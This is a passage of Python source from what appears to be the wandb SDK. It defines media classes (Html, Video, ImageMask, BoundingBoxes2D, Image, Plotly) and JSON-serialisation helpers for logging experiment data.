parts[1] = "</head>" + parts[1] else: parts = ["", self.html] parts.insert( 1, '<base target="_blank"><link rel="stylesheet" type="text/css" href="https://app.wandb.ai/normalize.css" />', ) self.html = join.join(parts).strip() @classmethod def get_media_subdir(cls: Type["Html"]) -> str: return os.path.join("media", "html") def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: json_dict = super(Html, self).to_json(run_or_artifact) json_dict["_type"] = self._log_type return json_dict @classmethod def from_json( cls: Type["Html"], json_obj: dict, source_artifact: "PublicArtifact" ) -> "Html": return cls(source_artifact.get_path(json_obj["path"]).download(), inject=False) @classmethod def seq_to_json( cls: Type["Html"], seq: Sequence["BatchableMedia"], run: "LocalRun", key: str, step: Union[int, str], ) -> dict: base_path = os.path.join(run.dir, cls.get_media_subdir()) util.mkdir_exists_ok(base_path) meta = { "_type": "html", "count": len(seq), "html": [h.to_json(run) for h in seq], } return meta class Video(BatchableMedia): """ Wandb representation of video. Arguments: data_or_path: (numpy array, string, io) Video can be initialized with a path to a file or an io object. The format must be "gif", "mp4", "webm" or "ogg". The format must be specified with the format argument. Video can be initialized with a numpy tensor. The numpy tensor must be either 4 dimensional or 5 dimensional. Channels should be (time, channel, height, width) or (batch, time, channel, height width) caption: (string) caption associated with the video for display fps: (int) frames per second for video. Default is 4. format: (string) format of video, necessary if initializing with path or io object. """ _log_type = "video-file" EXTS = ("gif", "mp4", "webm", "ogg") _width: Optional[int] _height: Optional[int] def __init__( self, data_or_path: Union["np.ndarray", str, "TextIO"], caption: Optional[str] = None, fps: int = 4, format: Optional[str] = None, ): super(Video, self).__init__() self._fps = fps self._format = format or "gif" self._width = None self._height = None self._channels = None self._caption = caption if self._format not in Video.EXTS: raise ValueError("wandb.Video accepts %s formats" % ", ".join(Video.EXTS)) if isinstance(data_or_path, six.BytesIO): filename = os.path.join( _MEDIA_TMP.name, util.generate_id() + "." + self._format ) with open(filename, "wb") as f: f.write(data_or_path.read()) self._set_file(filename, is_tmp=True) elif isinstance(data_or_path, six.string_types): _, ext = os.path.splitext(data_or_path) ext = ext[1:].lower() if ext not in Video.EXTS: raise ValueError( "wandb.Video accepts %s formats" % ", ".join(Video.EXTS) ) self._set_file(data_or_path, is_tmp=False) # ffprobe -v error -select_streams v:0 -show_entries stream=width,height -of csv=p=0 data_or_path else: if hasattr(data_or_path, "numpy"): # TF data eager tensors self.data = data_or_path.numpy() # type: ignore elif _is_numpy_array(data_or_path): self.data = data_or_path else: raise ValueError( "wandb.Video accepts a file path or numpy like data as input" ) self.encode() def encode(self) -> None: mpy = util.get_module( "moviepy.editor", required='wandb.Video requires moviepy and imageio when passing raw data. Install with "pip install moviepy imageio"', ) tensor = self._prepare_video(self.data) _, self._height, self._width, self._channels = tensor.shape # encode sequence of images into gif string clip = mpy.ImageSequenceClip(list(tensor), fps=self._fps) filename = os.path.join( _MEDIA_TMP.name, util.generate_id() + "." + self._format ) if wandb.TYPE_CHECKING and TYPE_CHECKING: kwargs: Dict[str, Optional[bool]] = {} try: # older versions of moviepy do not support logger argument kwargs = {"logger": None} if self._format == "gif": clip.write_gif(filename, **kwargs) else: clip.write_videofile(filename, **kwargs) except TypeError: try: # even older versions of moviepy do not support progress_bar argument kwargs = {"verbose": False, "progress_bar": False} if self._format == "gif": clip.write_gif(filename, **kwargs) else: clip.write_videofile(filename, **kwargs) except TypeError: kwargs = { "verbose": False, } if self._format == "gif": clip.write_gif(filename, **kwargs) else: clip.write_videofile(filename, **kwargs) self._set_file(filename, is_tmp=True) @classmethod def get_media_subdir(cls: Type["Video"]) -> str: return os.path.join("media", "videos") def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: json_dict = super(Video, self).to_json(run_or_artifact) json_dict["_type"] = self._log_type if self._width is not None: json_dict["width"] = self._width if self._height is not None: json_dict["height"] = self._height if self._caption: json_dict["caption"] = self._caption return json_dict def _prepare_video(self, video: "np.ndarray") -> "np.ndarray": """This logic was mostly taken from tensorboardX""" np = util.get_module( "numpy", required='wandb.Video requires numpy when passing raw data. To get it, run "pip install numpy".', ) if video.ndim < 4: raise ValueError( "Video must be atleast 4 dimensions: time, channels, height, width" ) if video.ndim == 4: video = video.reshape(1, *video.shape) b, t, c, h, w = video.shape if video.dtype != np.uint8: logging.warning("Converting video data to uint8") video = video.astype(np.uint8) def is_power2(num: int) -> bool: return num != 0 and ((num & (num - 1)) == 0) # pad to nearest power of 2, all at once if not is_power2(video.shape[0]): len_addition = int(2 ** video.shape[0].bit_length() - video.shape[0]) video = np.concatenate( (video, np.zeros(shape=(len_addition, t, c, h, w))), axis=0 ) n_rows = 2 ** ((b.bit_length() - 1) // 2) n_cols = video.shape[0] // n_rows video = np.reshape(video, newshape=(n_rows, n_cols, t, c, h, w)) video = np.transpose(video, axes=(2, 0, 4, 1, 5, 3)) video = np.reshape(video, newshape=(t, n_rows * h, n_cols * w, c)) return video @classmethod def seq_to_json( cls: Type["Video"], seq: Sequence["BatchableMedia"], run: "LocalRun", key: str, step: Union[int, str], ) -> dict: base_path = os.path.join(run.dir, cls.get_media_subdir()) util.mkdir_exists_ok(base_path) meta = { "_type": "videos", "count": len(seq), "videos": [v.to_json(run) for v in seq], "captions": Video.captions(seq), } return meta # Allows encoding of arbitrary JSON structures # as a file # # This class should be used as an abstract class # extended to have validation methods class JSONMetadata(Media): """ JSONMetadata is a type for encoding arbitrary metadata as files. """ def __init__(self, val: dict) -> None: super(JSONMetadata, self).__init__() self.validate(val) self._val = val ext = "." + self.type_name() + ".json" tmp_path = os.path.join(_MEDIA_TMP.name, util.generate_id() + ext) util.json_dump_uncompressed( self._val, codecs.open(tmp_path, "w", encoding="utf-8") ) self._set_file(tmp_path, is_tmp=True, extension=ext) @classmethod def get_media_subdir(cls: Type["JSONMetadata"]) -> str: return os.path.join("media", "metadata", cls.type_name()) def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: json_dict = super(JSONMetadata, self).to_json(run_or_artifact) json_dict["_type"] = self.type_name() return json_dict # These methods should be overridden in the child class @classmethod def type_name(cls) -> str: return "metadata" def validate(self, val: dict) -> bool: return True class ImageMask(Media): """ Wandb class for image masks, useful for segmentation tasks """ _log_type = "mask" def __init__(self, val: dict, key: str) -> None: """ Args: val (dict): dictionary following 1 of two forms: { "mask_data": 2d array of integers corresponding to classes, "class_labels": optional mapping from class ids to strings {id: str} } { "path": path to an image file containing integers corresponding to classes, "class_labels": optional mapping from class ids to strings {id: str} } key (str): id for set of masks """ super(ImageMask, self).__init__() if "path" in val: self._set_file(val["path"]) else: np = util.get_module( "numpy", required="Semantic Segmentation mask support requires numpy" ) # Add default class mapping if "class_labels" not in val: classes = np.unique(val["mask_data"]).astype(np.int32).tolist() class_labels = dict((c, "class_" + str(c)) for c in classes) val["class_labels"] = class_labels self.validate(val) self._val = val self._key = key ext = "." + self.type_name() + ".png" tmp_path = os.path.join(_MEDIA_TMP.name, util.generate_id() + ext) pil_image = util.get_module( "PIL.Image", required='wandb.Image needs the PIL package. To get it, run "pip install pillow".', ) image = pil_image.fromarray(val["mask_data"].astype(np.int8), mode="L") image.save(tmp_path, transparency=None) self._set_file(tmp_path, is_tmp=True, extension=ext) def bind_to_run( self, run: "LocalRun", key: Union[int, str], step: Union[int, str], id_: Optional[Union[int, str]] = None, ) -> None: # bind_to_run key argument is the Image parent key # the self._key value is the mask's sub key super(ImageMask, self).bind_to_run(run, key, step, id_=id_) class_labels = self._val["class_labels"] run._add_singleton( "mask/class_labels", str(key) + "_wandb_delimeter_" + self._key, class_labels, ) @classmethod def get_media_subdir(cls: Type["ImageMask"]) -> str: return os.path.join("media", "images", cls.type_name()) @classmethod def from_json( cls: Type["ImageMask"], json_obj: dict, source_artifact: "PublicArtifact" ) -> "ImageMask": return cls( {"path": source_artifact.get_path(json_obj["path"]).download()}, key="", ) def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: json_dict = super(ImageMask, self).to_json(run_or_artifact) run_class, artifact_class = _safe_sdk_import() if isinstance(run_or_artifact, run_class): json_dict["_type"] = self.type_name() return json_dict elif isinstance(run_or_artifact, artifact_class): # Nothing special to add (used to add "digest", but no longer used.) return json_dict else: raise ValueError("to_json accepts wandb_run.Run or wandb_artifact.Artifact") @classmethod def type_name(cls: Type["ImageMask"]) -> str: return cls._log_type def validate(self, val: dict) -> bool: np = util.get_module( "numpy", required="Semantic Segmentation mask support requires numpy" ) # 2D Make this work with all tensor(like) types if "mask_data" not in val: raise TypeError( 'Missing key "mask_data": A mask requires mask data(A 2D array representing the predctions)' ) else: error_str = "mask_data must be a 2d array" shape = val["mask_data"].shape if len(shape) != 2: raise TypeError(error_str) if not ( (val["mask_data"] >= 0).all() and (val["mask_data"] <= 255).all() ) and issubclass(val["mask_data"].dtype.type, np.integer): raise TypeError("Mask data must be integers between 0 and 255") # Optional argument if "class_labels" in val: for k, v in list(val["class_labels"].items()): if (not isinstance(k, numbers.Number)) or ( not isinstance(v, six.string_types) ): raise TypeError( "Class labels must be a dictionary of numbers to string" ) return True class BoundingBoxes2D(JSONMetadata): """ Wandb class for 2D bounding boxes """ _log_type = "bounding-boxes" # TODO: when the change is made to have this produce a dict with a _type, define # it here as _log_type, associate it in to_json def __init__(self, val: dict, key: str) -> None: """ Args: val (dict): dictionary following the form: { "class_labels": optional mapping from class ids to strings {id: str} "box_data": list of boxes: [ { "position": { "minX": float, "maxX": float, "minY": float, "maxY": float, }, "class_id": 1, "box_caption": optional str "scores": optional dict of scores }, ... ], } key (str): id for set of bounding boxes """ super(BoundingBoxes2D, self).__init__(val) self._val = val["box_data"] self._key = key # Add default class mapping if "class_labels" not in val: np = util.get_module( "numpy", required="Semantic Segmentation mask support requires numpy" ) classes = ( np.unique(list([box["class_id"] for box in val["box_data"]])) .astype(np.int32) .tolist() ) class_labels = dict((c, "class_" + str(c)) for c in classes) self._class_labels = class_labels else: self._class_labels = val["class_labels"] def bind_to_run( self, run: "LocalRun", key: Union[int, str], step: Union[int, str], id_: Optional[Union[int, str]] = None, ) -> None: # bind_to_run key argument is the Image parent key # the self._key value is the mask's sub key super(BoundingBoxes2D, self).bind_to_run(run, key, step, id_=id_) run._add_singleton( "bounding_box/class_labels", str(key) + "_wandb_delimeter_" + self._key, self._class_labels, ) @classmethod def type_name(cls) -> str: return "boxes2D" def validate(self, val: dict) -> bool: # Optional argument if "class_labels" in val: for k, v in list(val["class_labels"].items()): if (not isinstance(k, numbers.Number)) or ( not isinstance(v, six.string_types) ): raise TypeError( "Class labels must be a dictionary of numbers to string" ) boxes = val["box_data"] if not isinstance(boxes, list): raise TypeError("Boxes must be a list") for box in boxes: # Required arguments error_str = "Each box must contain a position with: middle, width, and height or \ \nminX, maxX, minY, maxY." if "position" not in box: raise TypeError(error_str) else: valid = False if ( "middle" in box["position"] and len(box["position"]["middle"]) == 2 and has_num(box["position"], "width") and has_num(box["position"], "height") ): valid = True elif ( has_num(box["position"], "minX") and has_num(box["position"], "maxX") and has_num(box["position"], "minY") and has_num(box["position"], "maxY") ): valid = True if not valid: raise TypeError(error_str) # Optional arguments if ("scores" in box) and not isinstance(box["scores"], dict): raise TypeError("Box scores must be a dictionary") elif "scores" in box: for k, v in list(box["scores"].items()): if not isinstance(k, six.string_types): raise TypeError("A score key must be a string") if not isinstance(v, numbers.Number): raise TypeError("A score value must be a number") if ("class_id" in box) and not isinstance( box["class_id"], six.integer_types ): raise TypeError("A box's class_id must be an integer") # Optional if ("box_caption" in box) and not isinstance( box["box_caption"], six.string_types ): raise TypeError("A box's caption must be a string") return True def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: run_class, artifact_class = _safe_sdk_import() if isinstance(run_or_artifact, run_class): return super(BoundingBoxes2D, self).to_json(run_or_artifact) elif isinstance(run_or_artifact, artifact_class): # TODO (tim): I would like to log out a proper dictionary representing this object, but don't # want to mess with the visualizations that are currently available in the UI. This really should output # an object with a _type key. Will need to push this change to the UI first to ensure backwards compat return self._val else: raise ValueError("to_json accepts wandb_run.Run or wandb_artifact.Artifact") @classmethod def from_json( cls: Type["BoundingBoxes2D"], json_obj: dict, source_artifact: "PublicArtifact" ) -> "BoundingBoxes2D": return cls({"box_data": json_obj}, "") class Classes(Media): _log_type = "classes" _class_set: Sequence[dict] def __init__(self, class_set: Sequence[dict]) -> None: """Classes is holds class metadata intended to be used in concert with other objects when visualizing artifacts Args: class_set (list): list of dicts in the form of {"id":int|str, "name":str} """ super(Classes, self).__init__() for class_obj in class_set: assert "id" in class_obj and "name" in class_obj self._class_set = class_set @classmethod def from_json( cls: Type["Classes"], json_obj: dict, source_artifact: Optional["PublicArtifact"], ) -> "Classes": return cls(json_obj.get("class_set")) # type: ignore def to_json( self, run_or_artifact: Optional[Union["LocalRun", "LocalArtifact"]] ) -> dict: json_obj = {} # This is a bit of a hack to allow _ClassesIdType to # be able to operate fully without an artifact in play. # In all other cases, artifact should be a true artifact. if run_or_artifact is not None: json_obj = super(Classes, self).to_json(run_or_artifact) json_obj["_type"] = Classes._log_type json_obj["class_set"] = self._class_set return json_obj def get_type(self) -> "_ClassesIdType": return _ClassesIdType(self) def __ne__(self, other: object) -> bool: return not self.__eq__(other) def __eq__(self, other: object) -> bool: if isinstance(other, Classes): return self._class_set == other._class_set else: return False class Image(BatchableMedia): """ Wandb class for images. Arguments: data_or_path: (numpy array, string, io) Accepts numpy array of image data, or a PIL image. The class attempts to infer the data format and converts it. mode: (string) The PIL mode for an image. Most common are "L", "RGB", "RGBA". Full explanation at https://pillow.readthedocs.io/en/4.2.x/handbook/concepts.html#concept-modes. caption: (string) Label for display of image. """ MAX_ITEMS = 108 # PIL limit MAX_DIMENSION = 65500 _log_type = "image-file" format: Optional[str] _grouping: Optional[str] _caption: Optional[str] _width: Optional[int] _height: Optional[int] _image: Optional["PIL.Image"] _classes: Optional["Classes"] _boxes: Optional[Dict[str, "BoundingBoxes2D"]] _masks: Optional[Dict[str, "ImageMask"]] def __init__( self, data_or_path: "ImageDataOrPathType", mode: Optional[str] = None, caption: Optional[str] = None, grouping: Optional[str] = None, classes: Optional[Union["Classes", Sequence[dict]]] = None, boxes: Optional[Union[Dict[str, "BoundingBoxes2D"], Dict[str, dict]]] = None, masks: Optional[Union[Dict[str, "ImageMask"], Dict[str, dict]]] = None, ) -> None: super(Image, self).__init__() # TODO: We should remove grouping, it's a terrible name and I don't # think anyone uses it. self._grouping = None self._caption = None self._width = None self._height = None self._image = None self._classes = None self._boxes = None self._masks = None # Allows the user to pass an Image object as the first parameter and have a perfect copy, # only overriding additional metdata passed in. If this pattern is compelling, we can generalize. if isinstance(data_or_path, Image): self._initialize_from_wbimage(data_or_path) elif isinstance(data_or_path, six.string_types): self._initialize_from_path(data_or_path) else: self._initialize_from_data(data_or_path, mode) self._set_initialization_meta(grouping, caption, classes, boxes, masks) def _set_initialization_meta( self, grouping: Optional[str] = None, caption: Optional[str] = None, classes: Optional[Union["Classes", Sequence[dict]]] = None, boxes: Optional[Union[Dict[str, "BoundingBoxes2D"], Dict[str, dict]]] = None, masks: Optional[Union[Dict[str, "ImageMask"], Dict[str, dict]]] = None, ) -> None: if grouping is not None: self._grouping = grouping if caption is not None: self._caption = caption if classes is not None: if not isinstance(classes, Classes): self._classes = Classes(classes) else: self._classes = classes if boxes: if not isinstance(boxes, dict): raise ValueError('Images "boxes" argument must be a dictionary') boxes_final: Dict[str, BoundingBoxes2D] = {} for key in boxes: box_item = boxes[key] if isinstance(box_item, BoundingBoxes2D): boxes_final[key] = box_item elif isinstance(box_item, dict): boxes_final[key] = BoundingBoxes2D(box_item, key) self._boxes = boxes_final if masks: if not isinstance(masks, dict): raise ValueError('Images "masks" argument must be a dictionary') masks_final: Dict[str, ImageMask] = {} for key in masks: mask_item = masks[key] if isinstance(mask_item, ImageMask): masks_final[key] = mask_item elif isinstance(mask_item, dict): masks_final[key] = ImageMask(mask_item, key) self._masks = masks_final self._width, self._height = self._image.size # type: ignore def _initialize_from_wbimage(self, wbimage: "Image") -> None: self._grouping = wbimage._grouping self._caption = wbimage._caption self._width = wbimage._width self._height = wbimage._height self._image = wbimage._image self._classes = wbimage._classes self._path = wbimage._path self._is_tmp = wbimage._is_tmp self._extension = wbimage._extension self._sha256 = wbimage._sha256 self._size = wbimage._size self.format = wbimage.format self._artifact_source = wbimage._artifact_source self._artifact_target = wbimage._artifact_target # We do not want to implicitly copy boxes or masks, just the image-related data. # self._boxes = wbimage._boxes # self._masks = wbimage._masks def _initialize_from_path(self, path: str) -> None: pil_image = util.get_module( "PIL.Image", required='wandb.Image needs the PIL package. To get it, run "pip install pillow".', ) self._set_file(path, is_tmp=False) self._image = pil_image.open(path) self._image.load() ext = os.path.splitext(path)[1][1:] self.format = ext def _initialize_from_data(self, data: "ImageDataType", mode: str = None,) -> None: pil_image = util.get_module( "PIL.Image", required='wandb.Image needs the PIL package. To get it, run "pip install pillow".', ) if util.is_matplotlib_typename(util.get_full_typename(data)): buf = six.BytesIO() util.ensure_matplotlib_figure(data).savefig(buf) self._image = pil_image.open(buf) elif isinstance(data, pil_image.Image): self._image = data elif util.is_pytorch_tensor_typename(util.get_full_typename(data)): vis_util = util.get_module( "torchvision.utils", "torchvision is required to render images" ) if hasattr(data, "requires_grad") and data.requires_grad: data = data.detach() data = vis_util.make_grid(data, normalize=True) self._image = pil_image.fromarray( data.mul(255).clamp(0, 255).byte().permute(1, 2, 0).cpu().numpy() ) else: if hasattr(data, "numpy"): # TF data eager tensors data = data.numpy() if data.ndim > 2: data = data.squeeze() # get rid of trivial dimensions as a convenience self._image = pil_image.fromarray( self.to_uint8(data), mode=mode or self.guess_mode(data) ) tmp_path = os.path.join(_MEDIA_TMP.name, util.generate_id() + ".png") self.format = "png" self._image.save(tmp_path, transparency=None) self._set_file(tmp_path, is_tmp=True) @classmethod def from_json( cls: Type["Image"], json_obj: dict, source_artifact: "PublicArtifact" ) -> "Image": classes = None if json_obj.get("classes") is not None: classes = source_artifact.get(json_obj["classes"]["path"]) masks = json_obj.get("masks") _masks: Optional[Dict[str, ImageMask]] = None if masks: _masks = {} for key in masks: _masks[key] = ImageMask.from_json(masks[key], source_artifact) _masks[key]._set_artifact_source(source_artifact) _masks[key]._key = key boxes = json_obj.get("boxes") _boxes: Optional[Dict[str, BoundingBoxes2D]] = None if boxes: _boxes = {} for key in boxes: _boxes[key] = BoundingBoxes2D.from_json(boxes[key], source_artifact) _boxes[key]._key = key return cls( source_artifact.get_path(json_obj["path"]).download(), caption=json_obj.get("caption"), grouping=json_obj.get("grouping"), classes=classes, boxes=_boxes, masks=_masks, ) @classmethod def get_media_subdir(cls: Type["Image"]) -> str: return os.path.join("media", "images") def bind_to_run( self, run: "LocalRun", key: Union[int, str], step: Union[int, str], id_: Optional[Union[int, str]] = None, ) -> None: super(Image, self).bind_to_run(run, key, step, id_) if self._boxes is not None: for i, k in enumerate(self._boxes): id_ = "{}{}".format(id_, i) if id_ is not None else None self._boxes[k].bind_to_run(run, key, step, id_) if self._masks is not None: for i, k in enumerate(self._masks): id_ = "{}{}".format(id_, i) if id_ is not None else None self._masks[k].bind_to_run(run, key, step, id_) def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: json_dict = super(Image, self).to_json(run_or_artifact) json_dict["_type"] = Image._log_type json_dict["format"] = self.format if self._width is not None: json_dict["width"] = self._width if self._height is not None: json_dict["height"] = self._height if self._grouping: json_dict["grouping"] = self._grouping if self._caption: json_dict["caption"] = self._caption run_class, artifact_class = _safe_sdk_import() if isinstance(run_or_artifact, artifact_class): artifact = run_or_artifact if ( self._masks is not None or self._boxes is not None ) and self._classes is None: raise ValueError( "classes must be passed to wandb.Image which have masks or bounding boxes when adding to artifacts" ) if self._classes is not None: # Here, rather than give each class definition it's own name (and entry), we # purposely are giving a non-unique class name of /media/cls.classes.json. # This may create user confusion if if multiple different class definitions # are expected in a single artifact. However, we want to catch this user pattern # if it exists and dive deeper. The alternative code is provided below. # class_name = os.path.join("media", "cls") # # class_name = os.path.join( # "media", "classes", os.path.basename(self._path) + "_cls" # ) # classes_entry = artifact.add(self._classes, class_name) json_dict["classes"] = { "type": "classes-file", "path": classes_entry.path, "digest": classes_entry.digest, } elif not isinstance(run_or_artifact, run_class): raise ValueError("to_json accepts wandb_run.Run or wandb_artifact.Artifact") if self._boxes: json_dict["boxes"] = { k: box.to_json(run_or_artifact) for (k, box) in self._boxes.items() } if self._masks: json_dict["masks"] = { k: mask.to_json(run_or_artifact) for (k, mask) in self._masks.items() } return json_dict def guess_mode(self, data: "np.ndarray") -> str: """ Guess what type of image the np.array is representing """ # TODO: do we want to support dimensions being at the beginning of the array? if data.ndim == 2: return "L" elif data.shape[-1] == 3: return "RGB" elif data.shape[-1] == 4: return "RGBA" else: raise ValueError( "Un-supported shape for image conversion %s" % list(data.shape) ) @classmethod def to_uint8(cls, data: "np.ndarray") -> "np.ndarray": """ Converts floating point image on the range [0,1] and integer images on the range [0,255] to uint8, clipping if necessary. """ np = util.get_module( "numpy", required="wandb.Image requires numpy if not supplying PIL Images: pip install numpy", ) # I think it's better to check the image range vs the data type, since many # image libraries will return floats between 0 and 255 # some images have range -1...1 or 0-1 dmin = np.min(data) if dmin < 0: data = (data - np.min(data)) / np.ptp(data) if np.max(data) <= 1.0: data = (data * 255).astype(np.int32) # assert issubclass(data.dtype.type, np.integer), 'Illegal image format.' return data.clip(0, 255).astype(np.uint8) @classmethod def seq_to_json( cls: Type["Image"], seq: Sequence["BatchableMedia"], run: "LocalRun", key: str, step: Union[int, str], ) -> dict: """ Combines a list of images into a meta dictionary object describing the child images. """ if wandb.TYPE_CHECKING and TYPE_CHECKING: seq = cast(Sequence["Image"], seq) jsons = [obj.to_json(run) for obj in seq] media_dir = cls.get_media_subdir() for obj in jsons: expected = util.to_forward_slash_path(media_dir) if not obj["path"].startswith(expected): raise ValueError( "Files in an array of Image's must be in the {} directory, not {}".format( cls.get_media_subdir(), obj["path"] ) ) num_images_to_log = len(seq) width, height = seq[0]._image.size # type: ignore format = jsons[0]["format"] def size_equals_image(image: "Image") -> bool: img_width, img_height = image._image.size # type: ignore return img_width == width and img_height == height # type: ignore sizes_match = all(size_equals_image(img) for img in seq) if not sizes_match: logging.warning( "Images sizes do not match. This will causes images to be display incorrectly in the UI." ) meta = { "_type": "images/separated", "width": width, "height": height, "format": format, "count": num_images_to_log, } captions = Image.all_captions(seq) if captions: meta["captions"] = captions all_masks = Image.all_masks(seq, run, key, step) if all_masks: meta["all_masks"] = all_masks all_boxes = Image.all_boxes(seq, run, key, step) if all_boxes: meta["all_boxes"] = all_boxes return meta @classmethod def all_masks( cls: Type["Image"], images: Sequence["Image"], run: "LocalRun", run_key: str, step: Union[int, str], ) -> Union[List[Optional[dict]], bool]: all_mask_groups: List[Optional[dict]] = [] for image in images: if image._masks: mask_group = {} for k in image._masks: mask = image._masks[k] mask_group[k] = mask.to_json(run) all_mask_groups.append(mask_group) else: all_mask_groups.append(None) if all_mask_groups and not all(x is None for x in all_mask_groups): return all_mask_groups else: return False @classmethod def all_boxes( cls: Type["Image"], images: Sequence["Image"], run: "LocalRun", run_key: str, step: Union[int, str], ) -> Union[List[Optional[dict]], bool]: all_box_groups: List[Optional[dict]] = [] for image in images: if image._boxes: box_group = {} for k in image._boxes: box = image._boxes[k] box_group[k] = box.to_json(run) all_box_groups.append(box_group) else: all_box_groups.append(None) if all_box_groups and not all(x is None for x in all_box_groups): return all_box_groups else: return False @classmethod def all_captions( cls: Type["Image"], images: Sequence["Media"] ) -> Union[bool, Sequence[Optional[str]]]: return cls.captions(images) def __ne__(self, other: object) -> bool: return not self.__eq__(other) def __eq__(self, other: object) -> bool: if not isinstance(other, Image): return False else: return ( self._grouping == other._grouping and self._caption == other._caption and self._width == other._width and self._height == other._height and self._image == other._image and self._classes == other._classes ) def to_data_array(self) -> List[Any]: res = [] if self._image is not None: data = list(self._image.getdata()) for i in range(self._image.height): res.append(data[i * self._image.width : (i + 1) * self._image.width]) return res class Plotly(Media): """ Wandb class for plotly plots. Arguments: val: matplotlib or plotly figure """ _log_type = "plotly-file" @classmethod def make_plot_media( cls: Type["Plotly"], val: Union["plotly.Figure", "matplotlib.artist.Artist"] ) -> Union[Image, "Plotly"]: if util.is_matplotlib_typename(util.get_full_typename(val)): if util.matplotlib_contains_images(val): return Image(val) val = util.matplotlib_to_plotly(val) return cls(val) def __init__(self, val: Union["plotly.Figure", "matplotlib.artist.Artist"]): super(Plotly, self).__init__() # First, check to see if the incoming `val` object is a plotfly figure if not util.is_plotly_figure_typename(util.get_full_typename(val)): # If it is not, but it is a matplotlib figure, then attempt to convert it to plotly if util.is_matplotlib_typename(util.get_full_typename(val)): if util.matplotlib_contains_images(val): raise ValueError( "Plotly does not currently support converting matplotlib figures containing images. \ You can convert the plot to a static image with `wandb.Image(plt)` " ) val = util.matplotlib_to_plotly(val) else: raise ValueError( "Logged plots must be plotly figures, or matplotlib plots convertible to plotly via mpl_to_plotly" ) tmp_path = os.path.join(_MEDIA_TMP.name, util.generate_id() + ".plotly.json") val = _numpy_arrays_to_lists(val.to_plotly_json()) util.json_dump_safer(val, codecs.open(tmp_path, "w", encoding="utf-8")) self._set_file(tmp_path, is_tmp=True, extension=".plotly.json") @classmethod def get_media_subdir(cls: Type["Plotly"]) -> str: return os.path.join("media", "plotly") def to_json(self, run_or_artifact: Union["LocalRun", "LocalArtifact"]) -> dict: json_dict = super(Plotly, self).to_json(run_or_artifact) json_dict["_type"] = self._log_type return json_dict def history_dict_to_json( run: "Optional[LocalRun]", payload: dict, step: Optional[int] = None ) -> dict: # Converts a History row dict's elements so they're friendly for JSON serialization. if step is None: # We should be at the top level of the History row; assume this key is set. step = payload["_step"] # We use list here because we were still seeing cases of RuntimeError dict changed size for key in list(payload): val = payload[key] if isinstance(val, dict): payload[key] = history_dict_to_json(run, val, step=step) else: payload[key] = val_to_json(run, key, val, namespace=step) return payload # TODO: refine this def val_to_json( run: "Optional[LocalRun]", key: str, val: "ValToJsonType", namespace: Optional[Union[str, int]] = None, ) -> Union[Sequence, dict]: # Converts a wandb datatype to its JSON representation. if namespace is None: raise ValueError( "val_to_json must be called with a namespace(a step number, or 'summary') argument" ) converted = val typename = util.get_full_typename(val) if util.is_pandas_data_frame(val): raise ValueError( "We do not support DataFrames in the Summary or History. Try run.log({{'{}': wandb.Table(dataframe=df)}})".format( key ) ) elif util.is_matplotlib_typename(typename) or util.is_plotly_typename(typename): val = Plotly.make_plot_media(val) elif isinstance(val, SixSequence) and all(isinstance(v, WBValue) for v in val): assert run # This check will break down if Image/Audio/... have child classes. if ( len(val) and isinstance(val[0], BatchableMedia) and all(isinstance(v, type(val[0])) for v in val) ): if wandb.TYPE_CHECKING and TYPE_CHECKING: val = cast(Sequence["BatchableMedia"], val) items = _prune_max_seq(val) for i, item in enumerate(items): item.bind_to_run(run, key, namespace, id_=i) return items[0].seq_to_json(items, run, key, namespace) else: # TODO(adrian): Good idea to pass on the same key here? Maybe include # the array index? # There is a bug here: if this array contains two arrays of the same type of # anonymous media objects, their eventual names will collide. # This used to happen. The frontend doesn't handle heterogenous arrays # raise ValueError( # "Mixed media types in the same list aren't supported") return [val_to_json(run, key, v, namespace=namespace) for v in val] if isinstance(val, WBValue): assert run if isinstance(val, Media) and not val.is_bound(): if hasattr(val, "_log_type") and val._log_type == "table": # Special conditional to log tables as artifact entries as well. # I suspect we will generalize this as we transition to storing all # files in an artifact _, artifact_class = _safe_sdk_import() # we sanitize the key to meet the constraints defined in wandb_artifacts.py # in this case, leaving only alpha numerics or underscores. sanitized_key = re.sub(r"[^a-zA-Z0-9_]+", "", key) art = artifact_class( "run-{}-{}".format(run.id, sanitized_key), "run_table" ) art.add(val, key) run.log_artifact(art) val.bind_to_run(run, key, namespace) return val.to_json(run) return converted # type: ignore def _is_numpy_array(data: object) -> bool: np = util.get_module( "numpy", required="Logging raw point cloud data requires numpy" ) return isinstance(data, np.ndarray) def _wb_filename( key: Union[str, int], step: Union[str, int], id: Union[str, int], extension: str ) -> str: return "{}_{}_{}{}".format(str(key), str(step), str(id), extension) def _numpy_arrays_to_lists( payload: Union[dict, Sequence, "np.ndarray"] ) -> Union[Sequence, dict, str, int, float, bool]: # Casts all numpy arrays to lists so we don't convert them to histograms, primarily for Plotly if isinstance(payload, dict): res = {} for key, val in six.iteritems(payload): res[key] = _numpy_arrays_to_lists(val) return res elif isinstance(payload, SixSequence) and not isinstance(payload, six.string_types): return [_numpy_arrays_to_lists(v) for v in payload] elif util.is_numpy_array(payload): if wandb.TYPE_CHECKING and TYPE_CHECKING: payload = cast("np.ndarray", payload) return [_numpy_arrays_to_lists(v) for v in payload.tolist()] # Protects against logging non serializable objects elif isinstance(payload, Media): return str(payload.__class__.__name__) return payload def _prune_max_seq(seq: Sequence["BatchableMedia"]) -> Sequence["BatchableMedia"]: # If media type has a max respect it items = seq if hasattr(seq[0], "MAX_ITEMS") and seq[0].MAX_ITEMS < len(seq): # type: ignore logging.warning( "Only %i %s will be uploaded." % (seq[0].MAX_ITEMS, seq[0].__class__.__name__) # type: ignore ) items = seq[: seq[0].MAX_ITEMS] # type: ignore return items def _data_frame_to_json( df: "pd.DataFraome", run: "LocalRun", key: str, step: Union[int, str] ) -> dict: """!NODOC Encode a Pandas DataFrame into the JSON/backend format. Writes the data to a file and returns a dictionary that we use to represent it in `Summary`'s. Arguments: df (pandas.DataFrame): The DataFrame. Must not have columns named "wandb_run_id" or "wandb_data_frame_id". They will be added to the DataFrame here. run (wandb_run.Run): The Run the DataFrame is associated with. We need this because the information we store on the DataFrame is derived from the Run it's in. key (str): Name of the DataFrame, ie. the summary key path in which it's stored. This is for 